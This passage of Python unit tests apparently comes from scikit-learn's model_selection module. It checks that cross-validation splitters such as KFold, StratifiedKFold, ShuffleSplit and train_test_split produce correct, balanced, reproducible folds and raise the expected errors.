    hashable_samples = ["a%db%dc%d" % (p['a'], p['b'], p['c'])
                        for p in samples]
    assert_equal(len(set(hashable_samples)), 99)

    # doesn't go into infinite loops
    params_distribution = {'first': bernoulli(.5), 'second': ['a', 'b', 'c']}
    sampler = ParameterSampler(params_distribution, n_iter=7)
    samples = list(sampler)
    assert_equal(len(samples), 7)






"""Test the split module"""
from __future__ import division
import warnings

import numpy as np
from scipy.sparse import coo_matrix, csc_matrix, csr_matrix
from scipy import stats
from scipy.misc import comb
from itertools import combinations
from sklearn.utils.fixes import combinations_with_replacement

from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils.testing import assert_not_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_raise_message
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.validation import _num_samples
from sklearn.utils.mocking import MockDataFrame

from sklearn.model_selection import cross_val_score
from sklearn.model_selection import KFold
from sklearn.model_selection import StratifiedKFold
from sklearn.model_selection import LabelKFold
from sklearn.model_selection import LeaveOneOut
from sklearn.model_selection import LeaveOneLabelOut
from sklearn.model_selection import LeavePOut
from sklearn.model_selection import LeavePLabelOut
from sklearn.model_selection import ShuffleSplit
from sklearn.model_selection import LabelShuffleSplit
from sklearn.model_selection import StratifiedShuffleSplit
from sklearn.model_selection import PredefinedSplit
from sklearn.model_selection import check_cv
from sklearn.model_selection import train_test_split
from sklearn.model_selection import GridSearchCV

from sklearn.linear_model import Ridge

from sklearn.model_selection._split import _safe_split
from sklearn.model_selection._split import _validate_shuffle_split
from sklearn.model_selection._split import _CVIterableWrapper
from sklearn.model_selection._split import _build_repr

from sklearn.datasets import load_digits
from sklearn.datasets import load_iris
from sklearn.datasets import make_classification

from sklearn.externals import six
from sklearn.externals.six.moves import zip

from sklearn.svm import SVC

X = np.ones(10)
y = np.arange(10) // 2
P_sparse = coo_matrix(np.eye(5))
iris = load_iris()
digits = load_digits()


class MockClassifier(object):
    """Dummy classifier to test the cross-validation"""

    def __init__(self, a=0, allow_nd=False):
        self.a = a
        self.allow_nd = allow_nd

    def fit(self, X, Y=None, sample_weight=None, class_prior=None,
            sparse_sample_weight=None, sparse_param=None, dummy_int=None,
            dummy_str=None, dummy_obj=None, callback=None):
        """The dummy arguments are to test that this fit function can
        accept non-array arguments through cross-validation, such as:
            - int
            - str (this is actually array-like)
            - object
            - function
        """
        self.dummy_int = dummy_int
        self.dummy_str = dummy_str
        self.dummy_obj = dummy_obj
        if callback is not None:
            callback(self)

        if self.allow_nd:
            X = X.reshape(len(X), -1)
        if X.ndim >= 3 and not self.allow_nd:
            raise ValueError('X cannot be d')
        if sample_weight is not None:
            assert_true(sample_weight.shape[0] == X.shape[0],
                        'MockClassifier extra fit_param sample_weight.shape[0]'
                        ' is {0}, should be {1}'.format(sample_weight.shape[0],
                                                        X.shape[0]))
        if class_prior is not None:
            assert_true(class_prior.shape[0] == len(np.unique(y)),
                        'MockClassifier extra fit_param class_prior.shape[0]'
                        ' is {0}, should be {1}'.format(class_prior.shape[0],
                                                        len(np.unique(y))))
        if sparse_sample_weight is not None:
            fmt = ('MockClassifier extra fit_param sparse_sample_weight'
                   '.shape[0] is {0}, should be {1}')
            assert_true(sparse_sample_weight.shape[0] == X.shape[0],
                        fmt.format(sparse_sample_weight.shape[0], X.shape[0]))
        if sparse_param is not None:
            fmt = ('MockClassifier extra fit_param sparse_param.shape '
                   'is ({0}, {1}), should be ({2}, {3})')
            assert_true(sparse_param.shape == P_sparse.shape,
                        fmt.format(sparse_param.shape[0],
                                   sparse_param.shape[1],
                                   P_sparse.shape[0], P_sparse.shape[1]))
        return self

    def predict(self, T):
        if self.allow_nd:
            T = T.reshape(len(T), -1)
        return T[:, 0]

    def score(self, X=None, Y=None):
        return 1. / (1 + np.abs(self.a))

    def get_params(self, deep=False):
        return {'a': self.a, 'allow_nd': self.allow_nd}


@ignore_warnings
def test_cross_validator_with_default_params():
    n_samples = 4
    n_unique_labels = 4
    n_splits = 2
    p = 2
    n_shuffle_splits = 10  # (the default value)

    X = np.array([[1, 2], [3, 4], [5, 6], [7, 8]])
    X_1d = np.array([1, 2, 3, 4])
    y = np.array([1, 1, 2, 2])
    labels = np.array([1, 2, 3, 4])
    loo = LeaveOneOut()
    lpo = LeavePOut(p)
    kf = KFold(n_splits)
    skf = StratifiedKFold(n_splits)
    lolo = LeaveOneLabelOut()
    lopo = LeavePLabelOut(p)
    ss = ShuffleSplit(random_state=0)
    ps = PredefinedSplit([1, 1, 2, 2])  # n_splits = np of unique folds = 2

    loo_repr = "LeaveOneOut()"
    lpo_repr = "LeavePOut(p=2)"
    kf_repr = "KFold(n_splits=2, random_state=None, shuffle=False)"
    skf_repr = "StratifiedKFold(n_splits=2, random_state=None, shuffle=False)"
    lolo_repr = "LeaveOneLabelOut()"
    lopo_repr = "LeavePLabelOut(n_labels=2)"
    ss_repr = ("ShuffleSplit(n_splits=10, random_state=0, test_size=0.1, "
               "train_size=None)")
    ps_repr = "PredefinedSplit(test_fold=array([1, 1, 2, 2]))"

    n_splits_expected = [n_samples, comb(n_samples, p), n_splits, n_splits,
                         n_unique_labels, comb(n_unique_labels, p),
                         n_shuffle_splits, 2]

    for i, (cv, cv_repr) in enumerate(zip(
            [loo, lpo, kf, skf, lolo, lopo, ss, ps],
            [loo_repr, lpo_repr, kf_repr, skf_repr, lolo_repr, lopo_repr,
             ss_repr, ps_repr])):
        # Test if get_n_splits works correctly
        assert_equal(n_splits_expected[i], cv.get_n_splits(X, y, labels))

        # Test if the cross-validator works as expected even if
        # the data is 1d
        np.testing.assert_equal(list(cv.split(X, y, labels)),
                                list(cv.split(X_1d, y, labels)))
        # Test that train, test indices returned are integers
        for train, test in cv.split(X, y, labels):
            assert_equal(np.asarray(train).dtype.kind, 'i')
            assert_equal(np.asarray(train).dtype.kind, 'i')

        # Test if the repr works without any errors
        assert_equal(cv_repr, repr(cv))


def check_valid_split(train, test, n_samples=None):
    # Use python sets to get more informative assertion failure messages
    train, test = set(train), set(test)

    # Train and test split should not overlap
    assert_equal(train.intersection(test), set())

    if n_samples is not None:
        # Check that the union of train an test split cover all the indices
        assert_equal(train.union(test), set(range(n_samples)))


def check_cv_coverage(cv, X, y, labels, expected_n_splits=None):
    n_samples = _num_samples(X)
    # Check that a all the samples appear at least once in a test fold
    if expected_n_splits is not None:
        assert_equal(cv.get_n_splits(X, y, labels), expected_n_splits)
    else:
        expected_n_splits = cv.get_n_splits(X, y, labels)

    collected_test_samples = set()
    iterations = 0
    for train, test in cv.split(X, y, labels):
        check_valid_split(train, test, n_samples=n_samples)
        iterations += 1
        collected_test_samples.update(test)

    # Check that the accumulated test samples cover the whole dataset
    assert_equal(iterations, expected_n_splits)
    if n_samples is not None:
        assert_equal(collected_test_samples, set(range(n_samples)))


def test_kfold_valueerrors():
    X1 = np.array([[1, 2], [3, 4], [5, 6]])
    X2 = np.array([[1, 2], [3, 4], [5, 6], [7, 8], [9, 10]])
    # Check that errors are raised if there is not enough samples
    assert_raises(ValueError, next, KFold(4).split(X1))

    # Check that a warning is raised if the least populated class has too few
    # members.
    y = np.array([3, 3, -1, -1, 3])

    skf_3 = StratifiedKFold(3)
    assert_warns_message(Warning, "The least populated class",
                         next, skf_3.split(X2, y))

    # Check that despite the warning the folds are still computed even
    # though all the classes are not necessarily represented at on each
    # side of the split at each split
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        check_cv_coverage(skf_3, X2, y, labels=None, expected_n_splits=3)

    # Check that errors are raised if all n_labels for individual
    # classes are less than n_splits.
    y = np.array([3, 3, -1, -1, 2])

    assert_raises(ValueError, next, skf_3.split(X2, y))

    # Error when number of folds is <= 1
    assert_raises(ValueError, KFold, 0)
    assert_raises(ValueError, KFold, 1)
    error_string = ("k-fold cross-validation requires at least one"
                    " train/test split")
    assert_raise_message(ValueError, error_string,
                         StratifiedKFold, 0)
    assert_raise_message(ValueError, error_string,
                         StratifiedKFold, 1)

    # When n_splits is not integer:
    assert_raises(ValueError, KFold, 1.5)
    assert_raises(ValueError, KFold, 2.0)
    assert_raises(ValueError, StratifiedKFold, 1.5)
    assert_raises(ValueError, StratifiedKFold, 2.0)

    # When shuffle is not  a bool:
    assert_raises(TypeError, KFold, n_splits=4, shuffle=None)


def test_kfold_indices():
    # Check all indices are returned in the test folds
    X1 = np.ones(18)
    kf = KFold(3)
    check_cv_coverage(kf, X1, y=None, labels=None, expected_n_splits=3)

    # Check all indices are returned in the test folds even when equal-sized
    # folds are not possible
    X2 = np.ones(17)
    kf = KFold(3)
    check_cv_coverage(kf, X2, y=None, labels=None, expected_n_splits=3)

    # Check if get_n_splits returns the number of folds
    assert_equal(5, KFold(5).get_n_splits(X2))


def test_kfold_no_shuffle():
    # Manually check that KFold preserves the data ordering on toy datasets
    X2 = [[1, 2], [3, 4], [5, 6], [7, 8], [9, 10]]

    splits = KFold(2).split(X2[:-1])
    train, test = next(splits)
    assert_array_equal(test, [0, 1])
    assert_array_equal(train, [2, 3])

    train, test = next(splits)
    assert_array_equal(test, [2, 3])
    assert_array_equal(train, [0, 1])

    splits = KFold(2).split(X2)
    train, test = next(splits)
    assert_array_equal(test, [0, 1, 2])
    assert_array_equal(train, [3, 4])

    train, test = next(splits)
    assert_array_equal(test, [3, 4])
    assert_array_equal(train, [0, 1, 2])


def test_stratified_kfold_no_shuffle():
    # Manually check that StratifiedKFold preserves the data ordering as much
    # as possible on toy datasets in order to avoid hiding sample dependencies
    # when possible
    X, y = np.ones(4), [1, 1, 0, 0]
    splits = StratifiedKFold(2).split(X, y)
    train, test = next(splits)
    assert_array_equal(test, [0, 2])
    assert_array_equal(train, [1, 3])

    train, test = next(splits)
    assert_array_equal(test, [1, 3])
    assert_array_equal(train, [0, 2])

    X, y = np.ones(7), [1, 1, 1, 0, 0, 0, 0]
    splits = StratifiedKFold(2).split(X, y)
    train, test = next(splits)
    assert_array_equal(test, [0, 1, 3, 4])
    assert_array_equal(train, [2, 5, 6])

    train, test = next(splits)
    assert_array_equal(test, [2, 5, 6])
    assert_array_equal(train, [0, 1, 3, 4])

    # Check if get_n_splits returns the number of folds
    assert_equal(5, StratifiedKFold(5).get_n_splits(X, y))


def test_stratified_kfold_ratios():
    # Check that stratified kfold preserves class ratios in individual splits
    # Repeat with shuffling turned off and on
    n_samples = 1000
    X = np.ones(n_samples)
    y = np.array([4] * int(0.10 * n_samples) +
                 [0] * int(0.89 * n_samples) +
                 [1] * int(0.01 * n_samples))

    for shuffle in (False, True):
        for train, test in StratifiedKFold(5, shuffle=shuffle).split(X, y):
            assert_almost_equal(np.sum(y[train] == 4) / len(train), 0.10, 2)
            assert_almost_equal(np.sum(y[train] == 0) / len(train), 0.89, 2)
            assert_almost_equal(np.sum(y[train] == 1) / len(train), 0.01, 2)
            assert_almost_equal(np.sum(y[test] == 4) / len(test), 0.10, 2)
            assert_almost_equal(np.sum(y[test] == 0) / len(test), 0.89, 2)
            assert_almost_equal(np.sum(y[test] == 1) / len(test), 0.01, 2)


def test_kfold_balance():
    # Check that KFold returns folds with balanced sizes
    for i in range(11, 17):
        kf = KFold(5).split(X=np.ones(i))
        sizes = []
        for _, test in kf:
            sizes.append(len(test))

        assert_true((np.max(sizes) - np.min(sizes)) <= 1)
        assert_equal(np.sum(sizes), i)


def test_stratifiedkfold_balance():
    # Check that KFold returns folds with balanced sizes (only when
    # stratification is possible)
    # Repeat with shuffling turned off and on
    X = np.ones(17)
    y = [0] * 3 + [1] * 14

    for shuffle in (True, False):
        cv = StratifiedKFold(3, shuffle=shuffle)
        for i in range(11, 17):
            skf = cv.split(X[:i], y[:i])
            sizes = []
            for _, test in skf:
                sizes.append(len(test))

            assert_true((np.max(sizes) - np.min(sizes)) <= 1)
            assert_equal(np.sum(sizes), i)


def test_shuffle_kfold():
    # Check the indices are shuffled properly
    kf = KFold(3)
    kf2 = KFold(3, shuffle=True, random_state=0)
    kf3 = KFold(3, shuffle=True, random_state=1)

    X = np.ones(300)

    all_folds = np.zeros(300)
    for (tr1, te1), (tr2, te2), (tr3, te3) in zip(
            kf.split(X), kf2.split(X), kf3.split(X)):
        for tr_a, tr_b in combinations((tr1, tr2, tr3), 2):
            # Assert that there is no complete overlap
            assert_not_equal(len(np.intersect1d(tr_a, tr_b)), len(tr1))

        # Set all test indices in successive iterations of kf2 to 1
        all_folds[te2] = 1

    # Check that all indices are returned in the different test folds
    assert_equal(sum(all_folds), 300)


def test_shuffle_kfold_stratifiedkfold_reproducibility():
    # Check that when the shuffle is True multiple split calls produce the
    # same split when random_state is set
    X = np.ones(15)  # Divisible by 3
    y = [0] * 7 + [1] * 8
    X2 = np.ones(16)  # Not divisible by 3
    y2 = [0] * 8 + [1] * 8

    kf = KFold(3, shuffle=True, random_state=0)
    skf = StratifiedKFold(3, shuffle=True, random_state=0)

    for cv in (kf, skf):
        np.testing.assert_equal(list(cv.split(X, y)), list(cv.split(X, y)))
        np.testing.assert_equal(list(cv.split(X2, y2)), list(cv.split(X2, y2)))

    kf = KFold(3, shuffle=True)
    skf = StratifiedKFold(3, shuffle=True)

    for cv in (kf, skf):
        for data in zip((X, X2), (y, y2)):
            try:
                np.testing.assert_equal(list(cv.split(*data)),
                                        list(cv.split(*data)))
            except AssertionError:
                pass
            else:
                raise AssertionError("The splits for data, %s, are same even "
                                     "when random state is not set" % data)


def test_shuffle_stratifiedkfold():
    # Check that shuffling is happening when requested, and for proper
    # sample coverage
    X_40 = np.ones(40)
    y = [0] * 20 + [1] * 20
    kf0 = StratifiedKFold(5, shuffle=True, random_state=0)
    kf1 = StratifiedKFold(5, shuffle=True, random_state=1)
    for (_, test0), (_, test1) in zip(kf0.split(X_40, y),
                                      kf1.split(X_40, y)):
        assert_not_equal(set(test0), set(test1))
    check_cv_coverage(kf0, X_40, y, labels=None, expected_n_splits=5)


def test_kfold_can_detect_dependent_samples_on_digits():  # see #2372
    # The digits samples are dependent: they are apparently grouped by authors
    # although we don't have any information on the groups segment locations
    # for this data. We can highlight this fact by computing k-fold cross-
    # validation with and without shuffling: we observe that the shuffling case
    # wrongly makes the IID assumption and is therefore too optimistic: it
    # estimates a much higher accuracy (around 0.93) than that the non
    # shuffling variant (around 0.81).

    X, y = digits.data[:600], digits.target[:600]
    model = SVC(C=10, gamma=0.005)

    n_splits = 3

    cv = KFold(n_splits=n_splits, shuffle=False)
    mean_score = cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(0.92, mean_score)
    assert_greater(mean_score, 0.80)

    # Shuffling the data artificially breaks the dependency and hides the
    # overfitting of the model with regards to the writing style of the authors
    # by yielding a seriously overestimated score:

    cv = KFold(n_splits, shuffle=True, random_state=0)
    mean_score = cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(mean_score, 0.92)

    cv = KFold(n_splits, shuffle=True, random_state=1)
    mean_score = cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(mean_score, 0.92)

    # Similarly, StratifiedKFold should try to shuffle the data as little
    # as possible (while respecting the balanced class constraints)
    # and thus be able to detect the dependency by not overestimating
    # the CV score either. As the digits dataset is approximately balanced
    # the estimated mean score is close to the score measured with
    # non-shuffled KFold

    cv = StratifiedKFold(n_splits)
    mean_score = cross_val_score(model, X, y, cv=cv).mean()
    assert_greater(0.93, mean_score)
    assert_greater(mean_score, 0.80)


def test_shuffle_split():
    ss1 = ShuffleSplit(test_size=0.2, random_state=0).split(X)
    ss2 = ShuffleSplit(test_size=2, random_state=0).split(X)
    ss3 = ShuffleSplit(test_size=np.int32(2), random_state=0).split(X)
    for typ in six.integer_types:
        ss4 = ShuffleSplit(test_size=typ(2), random_state=0).split(X)
    for t1, t2, t3, t4 in zip(ss1, ss2, ss3, ss4):
        assert_array_equal(t1[0], t2[0])
        assert_array_equal(t2[0], t3[0])
        assert_array_equal(t3[0], t4[0])
        assert_array_equal(t1[1], t2[1])
        assert_array_equal(t2[1], t3[1])
        assert_array_equal(t3[1], t4[1])


def test_stratified_shuffle_split_init():
    X = np.arange(7)
    y = np.asarray([0, 1, 1, 1, 2, 2, 2])
    # Check that error is raised if there is a class with only one sample
    assert_raises(ValueError, next,
                  StratifiedShuffleSplit(3, 0.2).split(X, y))

    # Check that error is raised if the test set size is smaller than n_classes
    assert_raises(ValueError, next, StratifiedShuffleSplit(3, 2).split(X, y))
    # Check that error is raised if the train set size is smaller than
    # n_classes
    assert_raises(ValueError, next,
                  StratifiedShuffleSplit(3, 3, 2).split(X, y))

    X = np.arange(9)
    y = np.asarray([0, 0, 0, 1, 1, 1, 2, 2, 2])
    # Check that errors are raised if there is not enough samples
    assert_raises(ValueError, StratifiedShuffleSplit, 3, 0.5, 0.6)
    assert_raises(ValueError, next,
                  StratifiedShuffleSplit(3, 8, 0.6).split(X, y))
    assert_raises(ValueError, next,
                  StratifiedShuffleSplit(3, 0.6, 8).split(X, y))

    # Train size or test size too small
    assert_raises(ValueError, next,
                  StratifiedShuffleSplit(train_size=2).split(X, y))
    assert_raises(ValueError, next,
                  StratifiedShuffleSplit(test_size=2).split(X, y))


def test_stratified_shuffle_split_iter():
    ys = [np.array([1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 3, 3]),
          np.array([0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3]),
          np.array([0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2]),
          np.array([1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4]),
          np.array([-1] * 800 + [1] * 50)
          ]

    for y in ys:
        sss = StratifiedShuffleSplit(6, test_size=0.33,
                                     random_state=0).split(np.ones(len(y)), y)
        for train, test in sss:
            assert_array_equal(np.unique(y[train]), np.unique(y[test]))
            # Checks if folds keep classes proportions
            p_train = (np.bincount(np.unique(y[train],
                                   return_inverse=True)[1]) /
                       float(len(y[train])))
            p_test = (np.bincount(np.unique(y[test],
                                  return_inverse=True)[1]) /
                      float(len(y[test])))
            assert_array_almost_equal(p_train, p_test, 1)
            assert_equal(y[train].size + y[test].size, y.size)
            assert_array_equal(np.lib.arraysetops.intersect1d(train, test), [])


def test_stratified_shuffle_split_even():
    # Test the StratifiedShuffleSplit, indices are drawn with a
    # equal chance
    n_folds = 5
    n_splits = 1000

    def assert_counts_are_ok(idx_counts, p):
        # Here we test that the distribution of the counts
        # per index is close enough to a binomial
        threshold = 0.05 / n_splits
        bf = stats.binom(n_splits, p)
        for count in idx_counts:
            p = bf.pmf(count)
            assert_true(p > threshold,
                        "An index is not drawn with chance corresponding "
                        "to even draws")

    for n_samples in (6, 22):
        labels = np.array((n_samples // 2) * [0, 1])
        splits = StratifiedShuffleSplit(n_splits=n_splits,
                                        test_size=1. / n_folds,
                                        random_state=0)

        train_counts = [0] * n_samples
        test_counts = [0] * n_samples
        n_splits_actual = 0
        for train, test in splits.split(X=np.ones(n_samples), y=labels):
            n_splits_actual += 1
            for counter, ids in [(train_counts, train), (test_counts, test)]:
                for id in ids:
                    counter[id] += 1
        assert_equal(n_splits_actual, n_splits)

        n_train, n_test = _validate_shuffle_split(n_samples,
                                                  test_size=1./n_folds,
                                                  train_size=1.-(1./n_folds))

        assert_equal(len(train), n_train)
        assert_equal(len(test), n_test)
        assert_equal(len(set(train).intersection(test)), 0)

        label_counts = np.unique(labels)
        assert_equal(splits.test_size, 1.0 / n_folds)
        assert_equal(n_train + n_test, len(labels))
        assert_equal(len(label_counts), 2)
        ex_test_p = float(n_test) / n_samples
        ex_train_p = float(n_train) / n_samples

        assert_counts_are_ok(train_counts, ex_train_p)
        assert_counts_are_ok(test_counts, ex_test_p)


def test_stratified_shuffle_split_overlap_train_test_bug():
    # See https://github.com/scikit-learn/scikit-learn/issues/6121 for
    # the original bug report
    y = [0, 1, 2, 3] * 3 + [4, 5] * 5
    X = np.ones_like(y)

    sss = StratifiedShuffleSplit(n_splits=1,
                                 test_size=0.5, random_state=0)

    train, test = next(iter(sss.split(X=X, y=y)))

    assert_array_equal(np.intersect1d(train, test), [])


def test_predefinedsplit_with_kfold_split():
    # Check that PredefinedSplit can reproduce a split generated by Kfold.
    folds = -1 * np.ones(10)
    kf_train = []
    kf_test = []
    for i, (train_ind, test_ind) in enumerate(KFold(5, shuffle=True).split(X)):
        kf_train.append(train_ind)
        kf_test.append(test_ind)
        folds[test_ind] = i
    ps_train = []
    ps_test = []
    ps = PredefinedSplit(folds)
    # n_splits is simply the no of unique folds
    assert_equal(len(np.unique(folds)), ps.get_n_splits())
    for train_ind, test_ind in ps.split():
        ps_train.append(train_ind)
        ps_test.append(test_ind)
    assert_array_equal(ps_train, kf_train)
    assert_array_equal(ps_test, kf_test)


def test_label_shuffle_split():
    labels = [np.array([1, 1, 1, 1, 2, 2, 2, 3, 3, 3, 3, 3]),
              np.array([0, 0, 0, 1, 1, 1, 2, 2, 2, 3, 3, 3]),
              np.array([0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2, 3, 0, 1, 2]),
              np.array([1, 1, 2, 2, 2, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4])]

    for l in labels:
        X = y = np.ones(len(l))
        n_splits = 6
        test_size = 1./3
        slo = LabelShuffleSplit(n_splits, test_size=test_size, random_state=0)

        # Make sure the repr works
        repr(slo)

        # Test that the length is correct
        assert_equal(slo.get_n_splits(X, y, labels=l), n_splits)

        l_unique = np.unique(l)

        for train, test in slo.split(X, y, labels=l):
            # First test: no train label is in the test set and vice versa
            l_train_unique = np.unique(l[train])
            l_test_unique = np.unique(l[test])
            assert_false(np.any(np.in1d(l[train], l_test_unique)))
            assert_false(np.any(np.in1d(l[test], l_train_unique)))

            # Second test: train and test add up to all the data
            assert_equal(l[train].size + l[test].size, l.size)

            # Third test: train and test are disjoint
            assert_array_equal(np.intersect1d(train, test), [])

            # Fourth test:
            # unique train and test labels are correct, +- 1 for rounding error
            assert_true(abs(len(l_test_unique) -
                            round(test_size * len(l_unique))) <= 1)
            assert_true(abs(len(l_train_unique) -
                            round((1.0 - test_size) * len(l_unique))) <= 1)


def test_leave_label_out_changing_labels():
    # Check that LeaveOneLabelOut and LeavePLabelOut work normally if
    # the labels variable is changed before calling split
    labels = np.array([0, 1, 2, 1, 1, 2, 0, 0])
    X = np.ones(len(labels))
    labels_changing = np.array(labels, copy=True)
    lolo = LeaveOneLabelOut().split(X, labels=labels)
    lolo_changing = LeaveOneLabelOut().split(X, labels=labels)
    lplo = LeavePLabelOut(n_labels=2).split(X, labels=labels)
    lplo_changing = LeavePLabelOut(n_labels=2).split(X, labels=labels)
    labels_changing[:] = 0
    for llo, llo_changing in [(lolo, lolo_changing), (lplo, lplo_changing)]:
        for (train, test), (train_chan, test_chan) in zip(llo, llo_changing):
            assert_array_equal(train, train_chan)
            assert_array_equal(test, test_chan)

    # n_splits = no of 2 (p) label combinations of the unique labels = 3C2 = 3
    assert_equal(3, LeavePLabelOut(n_labels=2).get_n_splits(X, y, labels))
    # n_splits = no of unique labels (C(uniq_lbls, 1) = n_unique_labels)
    assert_equal(3, LeaveOneLabelOut().get_n_splits(X, y, labels))


def test_train_test_split_errors():
    assert_raises(ValueError, train_test_split)
    assert_raises(ValueError, train_test_split, range(3), train_size=1.1)
    assert_raises(ValueError, train_test_split, range(3), test_size=0.6,
                  train_size=0.6)
    assert_raises(ValueError, train_test_split, range(3),
                  test_size=np.float32(0.6), train_size=np.float32(0.6))
    assert_raises(ValueError, train_test_split, range(3),
                  test_size="wrong_type")
    assert_raises(ValueError, train_test_split, range(3), test_size=2,
                  train_size=4)
    assert_raises(TypeError, train_test_split, range(3),
                  some_argument=1.1)
    assert_raises(ValueError, train_test_split, range(3), range(42))


def test_train_test_split():
    X = np.arange(100).reshape((10, 10))
    X_s = coo_matrix(X)
    y = np.arange(10)

    # simple test
    split = train_test_split(X, y, test_size=None, train_size=.5)
    X_train, X_test, y_train, y_test = split
    assert_equal(len(y_test), len(y_train))
    # test correspondence of X and y
    assert_array_equal(X_train[:, 0], y_train * 10)
    assert_array_equal(X_test[:, 0], y_test * 10)

    # don't convert lists to anything else by default
    split = train_test_split(X, X_s, y.tolist())
    X_train, X_test, X_s_train, X_s_test, y_train, y_test = split
    assert_true(isinstance(y_train, list))
    assert_true(isinstance(y_test, list))

    # allow nd-arrays
    X_4d = np.arange(10 * 5 * 3 * 2).reshape(10, 5, 3, 2)
    y_3d = np.arange(10 * 7 * 11).reshape(10, 7, 11)
    split = train_test_split(X_4d, y_3d)
    assert_equal(split[0].shape, (7, 5, 3, 2))
    assert_equal(split[1].shape, (3, 5, 3, 2))
    assert_equal(split[2].shape, (7, 7, 11))
    assert_equal(split[3].shape, (3, 7, 11))

    # test stratification option
    y = np.array([1, 1, 1, 1, 2, 2, 2, 2])
    for test_size, exp_test_size in zip([2, 4, 0.25, 0.5, 0.75],
                                        [2, 4, 2, 4, 6]):
        train, test = train_test_split(y, test_size=test_size,
                                       stratify=y,
                                       random_state=0)
        assert_equal(len(test), exp_test_size)
        assert_equal(len(test) + len(train), len(y))
        # check the 1:1 ratio of ones and twos in the data is preserved
        assert_equal(np.sum(train == 1), np.sum(train == 2))


@ignore_warnings
def train_test_split_pandas():
    # check train_test_split doesn't destroy pandas dataframe
    types = [MockDataFrame]
    try:
        from pandas import DataFrame
        types.append(DataFrame)
    except ImportError:
        pass
    for InputFeatureType in types:
        # X dataframe
        X_df = InputFeatureType(X)
        X_train, X_test = train_test_split(X_df)
        assert_true(isinstance(X_train, InputFeatureType))
        assert_true(isinstance(X_test, InputFeatureType))


def train_test_split_sparse():
    # check that train_test_split converts scipy sparse matrices
    # to csr, as stated in the documentation
    X = np.arange(100).reshape((10, 10))
    sparse_types = [csr_matrix, csc_matrix, coo_matrix]
    for InputFeatureType in sparse_types:
        X_s = InputFeatureType(X)
        X_train, X_test = train_test_split(X_s)
        assert_true(isinstance(X_train, csr_matrix))
        assert_true(isinstance(X_test, csr_matrix))


def train_test_split_mock_pandas():
    # X mock dataframe
    X_df = MockDataFrame(X)
    X_train, X_test = train_test_split(X_df)
    assert_true(isinstance(X_train, MockDataFrame))
    assert_true(isinstance(X_test, MockDataFrame))
    X_train_arr, X_test_arr = train_test_split(X_df)


def test_shufflesplit_errors():
    # When the {test|train}_size is a float/invalid, error is raised at init
    assert_raises(ValueError, ShuffleSplit, test_size=None, train_size=None)
    assert_raises(ValueError, ShuffleSplit, test_size=2.0)
    assert_raises(ValueError, ShuffleSplit, test_size=1.0)
    assert_raises(ValueError, ShuffleSplit, test_size=0.1, train_size=0.95)
    assert_raises(ValueError, ShuffleSplit, train_size=1j)

    # When the {test|train}_size is an int, validation is based on the input X
    # and happens at split(...)
    assert_raises(ValueError, next, ShuffleSplit(test_size=11).split(X))
    assert_raises(ValueError, next, ShuffleSplit(test_size=10).split(X))
    assert_raises(ValueError, next, ShuffleSplit(test_size=8,
                                                 train_size=3).split(X))


def test_shufflesplit_reproducible():
    # Check that iterating twice on the ShuffleSplit gives the same
    # sequence of train-test when the random_state is given
    ss = ShuffleSplit(random_state=21)
    assert_array_equal(list(a for a, b in ss.split(X)),
                       list(a for a, b in ss.split(X)))


def test_safe_split_with_precomputed_kernel():
    clf = SVC()
    clfp = SVC(kernel="precomputed")

    X, y = iris.data, iris.target
    K = np.dot(X, X.T)

    cv = ShuffleSplit(test_size=0.25, random_state=0)
    tr, te = list(cv.split(X))[0]

    X_tr, y_tr = _safe_split(clf, X, y, tr)
    K_tr, y_tr2 = _safe_split(clfp, K, y, tr)
    assert_array_almost_equal(K_tr, np.dot(X_tr, X_tr.T))

    X_te, y_te = _safe_split(clf, X, y, te, tr)
    K_te, y_te2 = _safe_split(clfp, K, y, te, tr)
    assert_array_almost_equal(K_te, np.dot(X_te, X_tr.T))


def test_train_test_split_allow_nans():
    # Check that train_test_split allows input data with NaNs
    X = np.arange(200, dtype=np.float64).reshape(10, -1)
    X[2, :] = np.nan
    y = np.repeat([0, 1], X.shape[0] / 2)
    train_test_split(X, y, test_size=0.2, random_state=42)


def test_check_cv():
    X = np.ones(9)
    cv = check_cv(3, classifier=False)
    # Use numpy.testing.assert_equal which recursively compares
    # lists of lists
    np.testing.assert_equal(list(KFold(3).split(X)), list(cv.split(X)))

    y_binary = np.array([0, 1, 0, 1, 0, 0, 1, 1, 1])
    cv = check_cv(3, y_binary, classifier=True)
    np.testing.assert_equal(list(StratifiedKFold(3).split(X, y_binary)),
                            list(cv.split(X, y_binary)))

    y_multiclass = np.array([0, 1, 0, 1, 2, 1, 2, 0, 2])
    cv = check_cv(3, y_multiclass, classifier=True)
    np.testing.assert_equal(list(StratifiedKFold(3).split(X, y_multiclass)),
                            list(cv.split(X, y_multiclass)))

    X = np.ones(5)
    y_multilabel = np.array([[0, 0, 0, 0], [0, 1, 1, 0], [0, 0, 0, 1],
                            [1, 1, 0, 1], [0, 0, 1, 0]])
    cv = check_cv(3, y_multilabel, classifier=True)
    np.testing.assert_equal(list(KFold(3).split(X)), list(cv.split(X)))

    y_multioutput = np.array([[1, 2], [0, 3], [0, 0], [3, 1], [2, 0]])
    cv = check_cv(3, y_multioutput, classifier=True)
    np.testing.assert_equal(list(KFold(3).split(X)), list(cv.split(X)))

    # Check if the old style classes are wrapped to have a split method
    X = np.ones(9)
    y_multiclass = np.array([0, 1, 0, 1, 2, 1, 2, 0, 2])
    cv1 = check_cv(3, y_multiclass, classifier=True)

    with warnings.catch_warnings(record=True):
